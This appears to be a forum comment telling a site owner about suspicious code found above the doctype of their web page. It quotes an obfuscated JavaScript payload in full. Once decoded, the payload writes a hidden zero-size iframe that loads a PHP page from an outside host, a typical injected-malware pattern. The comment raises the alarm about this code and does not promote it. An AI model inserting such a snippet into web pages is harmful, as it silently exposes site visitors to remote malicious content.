I’m not sure which site you’re referring to — is it the one in your profile?
https://www.verulamra.org.uk/
If so, it looks like you used the Binary Bonsai template — however, what I notice is that there is some strange(?) code, including a JavaScript converted to non-standard language, above the doctype:
<html>
<script language="javascript">
s=unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%6E%6F%77%6E%61%6D%65%73%2E%6F%72%67%2F%69%6D%61%67%65%73%2F%69%6E%2E%70%68%70%3F%61%64%76%3D%33%22%20%57%49%44%54%48%3D%22%30%25%22%20%48%45%49%47%48%54%3D%22%30%25%22%20%4D%41%52%47%49%4E%48%45%49%47%48%54%3D%22%30%22%20%4D%41%52%47%49%4E%57%49%44%54%48%3D%22%30%22%20%53%43%52%4F%4C%4C%49%4E%47%3D%22%61%75%74%6F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%4E%4F%52%45%53%49%5A%45%3E%3C%2F%69%66%72%61%6D%65%3E%0A");
document.writeln(s);document.close();
</script>
</html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Did you put that there?